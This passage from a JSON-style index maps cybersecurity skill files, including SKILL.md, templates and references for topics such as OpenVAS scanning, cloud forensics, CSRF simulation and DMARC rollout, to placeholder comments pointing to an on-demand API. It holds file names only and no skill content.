/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Fassets%2Ftemplate.md -->","skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fapi-reference.md -->","skills/performing-asset-criticality-scoring-for-vulns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fstandards.md -->","skills/performing-asset-criticality-scoring-for-vulns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fworkflows.md -->","skills/performing-authenticated-scan-with-openvas/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2FSKILL.md -->","skills/performing-authenticated-scan-with-openvas/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Fassets%2Ftemplate.md -->","skills/performing-authenticated-scan-with-openvas/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fapi-reference.md -->","skills/performing-authenticated-scan-with-openvas/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fstandards.md -->","skills/performing-authenticated-scan-with-openvas/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fworkflows.md -->","skills/performing-authenticated-vulnerability-scan/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2FSKILL.md -->","skills/performing-authenticated-vulnerability-scan/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Fassets%2Ftemplate.md -->","skills/performing-authenticated-vulnerability-scan/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fapi-reference.md -->","skills/performing-authenticated-vulnerability-scan/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fstandards.md -->","skills/performing-authenticated-vulnerability-scan/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fworkflows.md -->","skills/performing-automated-malware-analysis-with-cape/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2FSKILL.md -->","skills/performing-automated-malware-analysis-with-cape/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Fassets%2Ftemplate.md -->","skills/performing-automated-malware-analysis-with-cape/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fapi-reference.md -->","skills/performing-automated-malware-analysis-with-cape/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fstandards.md -->","skills/performing-automated-malware-analysis-with-cape/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fworkflows.md -->","skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2FSKILL.md -->","skills/performing-aws-account-enumeration-with-scout-suite/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Fassets%2Ftemplate.md -->","skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fapi-reference.md -->","skills/performing-aws-account-enumeration-with-scout-suite/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fstandards.md -->","skills/performing-aws-account-enumeration-with-scout-suite/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fworkflows.md -->","skills/performing-aws-privilege-escalation-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-privilege-escalation-assessment%2FSKILL.md -->","skills/performing-aws-privilege-escalation-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-privilege-escalation-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-bandwidth-throttling-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bandwidth-throttling-attack-simulation%2FSKILL.md -->","skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bandwidth-throttling-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-binary-exploitation-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-binary-exploitation-analysis%2FSKILL.md -->","skills/performing-binary-exploitation-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-binary-exploitation-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-blind-ssrf-exploitation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-blind-ssrf-exploitation%2FSKILL.md -->","skills/performing-blind-ssrf-exploitation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-blind-ssrf-exploitation%2Freferences%2Fapi-reference.md -->","skills/performing-bluetooth-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bluetooth-security-assessment%2FSKILL.md -->","skills/performing-bluetooth-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bluetooth-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-brand-monitoring-for-impersonation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-brand-monitoring-for-impersonation%2FSKILL.md -->","skills/performing-brand-monitoring-for-impersonation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-brand-monitoring-for-impersonation%2Freferences%2Fapi-reference.md -->","skills/performing-clickjacking-attack-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-clickjacking-attack-test%2FSKILL.md -->","skills/performing-clickjacking-attack-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-clickjacking-attack-test%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-asset-inventory-with-cartography/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2FSKILL.md -->","skills/performing-cloud-asset-inventory-with-cartography/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Fassets%2Ftemplate.md -->","skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-asset-inventory-with-cartography/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fstandards.md -->","skills/performing-cloud-asset-inventory-with-cartography/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fworkflows.md -->","skills/performing-cloud-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-investigation%2FSKILL.md -->","skills/performing-cloud-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-forensics-with-aws-cloudtrail/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-with-aws-cloudtrail%2FSKILL.md -->","skills/performing-cloud-forensics-with-aws-cloudtrail/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-with-aws-cloudtrail%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-incident-containment-procedures/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2FSKILL.md -->","skills/performing-cloud-incident-containment-procedures/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Fassets%2Ftemplate.md -->","skills/performing-cloud-incident-containment-procedures/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-incident-containment-procedures/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fstandards.md -->","skills/performing-cloud-incident-containment-procedures/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fworkflows.md -->","skills/performing-cloud-log-forensics-with-athena/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2FSKILL.md -->","skills/performing-cloud-log-forensics-with-athena/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-log-forensics-with-athena/references/athena-forensics-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2Freferences%2Fathena-forensics-reference.md -->","skills/performing-cloud-native-forensics-with-falco/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-forensics-with-falco%2FSKILL.md -->","skills/performing-cloud-native-forensics-with-falco/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-forensics-with-falco%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2FSKILL.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Fassets%2Ftemplate.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fstandards.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fworkflows.md -->","skills/performing-cloud-penetration-testing-with-pacu/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-penetration-testing-with-pacu%2FSKILL.md -->","skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-penetration-testing-with-pacu%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-storage-forensic-acquisition/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2FSKILL.md -->","skills/performing-cloud-storage-forensic-acquisition/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Fassets%2Ftemplate.md -->","skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-storage-forensic-acquisition/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fstandards.md -->","skills/performing-cloud-storage-forensic-acquisition/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fworkflows.md -->","skills/performing-container-escape-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-escape-detection%2FSKILL.md -->","skills/performing-container-escape-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-escape-detection%2Freferences%2Fapi-reference.md -->","skills/performing-container-image-hardening/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2FSKILL.md -->","skills/performing-container-image-hardening/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Fassets%2Ftemplate.md -->","skills/performing-container-image-hardening/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fapi-reference.md -->","skills/performing-container-image-hardening/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fstandards.md -->","skills/performing-container-image-hardening/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fworkflows.md -->","skills/performing-container-security-scanning-with-trivy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-security-scanning-with-trivy%2FSKILL.md -->","skills/performing-container-security-scanning-with-trivy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-security-scanning-with-trivy%2Freferences%2Fapi-reference.md -->","skills/performing-content-security-policy-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-content-security-policy-bypass%2FSKILL.md -->","skills/performing-content-security-policy-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-content-security-policy-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-credential-access-with-lazagne/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2FSKILL.md -->","skills/performing-credential-access-with-lazagne/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Fassets%2Ftemplate.md -->","skills/performing-credential-access-with-lazagne/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fapi-reference.md -->","skills/performing-credential-access-with-lazagne/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fstandards.md -->","skills/performing-credential-access-with-lazagne/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fworkflows.md -->","skills/performing-cryptographic-audit-of-application/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2FSKILL.md -->","skills/performing-cryptographic-audit-of-application/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Fassets%2Ftemplate.md -->","skills/performing-cryptographic-audit-of-application/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fapi-reference.md -->","skills/performing-cryptographic-audit-of-application/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fstandards.md -->","skills/performing-cryptographic-audit-of-application/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fworkflows.md -->","skills/performing-csrf-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-csrf-attack-simulation%2FSKILL.md -->","skills/performing-csrf-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-csrf-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-cve-prioritization-with-kev-catalog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2FSKILL.md -->","skills/performing-cve-prioritization-with-kev-catalog/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Fassets%2Ftemplate.md -->","skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fapi-reference.md -->","skills/performing-cve-prioritization-with-kev-catalog/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fstandards.md -->","skills/performing-cve-prioritization-with-kev-catalog/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fworkflows.md -->","skills/performing-dark-web-monitoring-for-threats/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2FSKILL.md -->","skills/performing-dark-web-monitoring-for-threats/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Fassets%2Ftemplate.md -->","skills/performing-dark-web-monitoring-for-threats/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fapi-reference.md -->","skills/performing-dark-web-monitoring-for-threats/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fstandards.md -->","skills/performing-dark-web-monitoring-for-threats/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fworkflows.md -->","skills/performing-deception-technology-deployment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-deception-technology-deployment%2FSKILL.md -->","skills/performing-deception-technology-deployment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-deception-technology-deployment%2Freferences%2Fapi-reference.md -->","skills/performing-directory-traversal-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-directory-traversal-testing%2FSKILL.md -->","skills/performing-directory-traversal-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-directory-traversal-testing%2Freferences%2Fapi-reference.md -->","skills/performing-disk-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-disk-forensics-investigation%2FSKILL.md -->","skills/performing-disk-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-disk-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-dmarc-policy-enforcement-rollout/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2FSKILL.md -->","skills/performing-dmarc-policy-enforcement-rollout/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Fassets%2Ftemplate.md -->","skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fapi-reference.md -->","skills/performing-dmarc-policy-enforcement-rollout/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fstandards.md -->","skills/performing-dmarc-policy-enforcement-rollout/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fworkflows.md -->","skills/performing-dns-enumeration-and-zone-transfer/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-enumeration-and-zone-transfer%2FSKILL.md -->","skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-enumeration-and-zone-transfer%2Freferences%2Fapi-reference.md -->","skills/performing-dns-tunneling-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-tunneling-detection%2FSKILL.md -->","skills/performing-dns-tunneling-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-tunneling-detection%2Freferences%2Fapi-reference.md -->","skills/performing-docker-bench-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2FSKILL.md -->","skills/performing-docker-bench-security-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Fassets%2Ftemplate.md -->","skills/performing-docker-bench-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-docker-bench-security-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fstandards.md -->","skills/performing-docker-bench-security-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fworkflows.md -->","skills/performing-dynamic-analysis-of-android-app/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2FSKILL.md -->","skills/performing-dynamic-analysis-of-android-app/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Fassets%2Ftemplate.md -->","skills/performing-dynamic-analysis-of-android-app/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fapi-reference.md -->","skills/performing-dynamic-analysis-of-android-app/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fstandards.md -->","skills/performing-dynamic-analysis-of-android-app/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fworkflows.md -->","skills/performing-dynamic-analysis-with-any-run/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-with-any-run%2FSKILL.md -->","skills/performing-dynamic-analysis-with-any-run/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-with-any-run%2Freferences%2Fapi-reference.md -->","skills/performing-endpoint-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2FSKILL.md -->","skills/performing-endpoint-forensics-investigation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Fassets%2Ftemplate.md -->","skills/performing-endpoint-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-endpoint-forensics-investigation/references/standards.md":"<!-- Skill available on-demand via 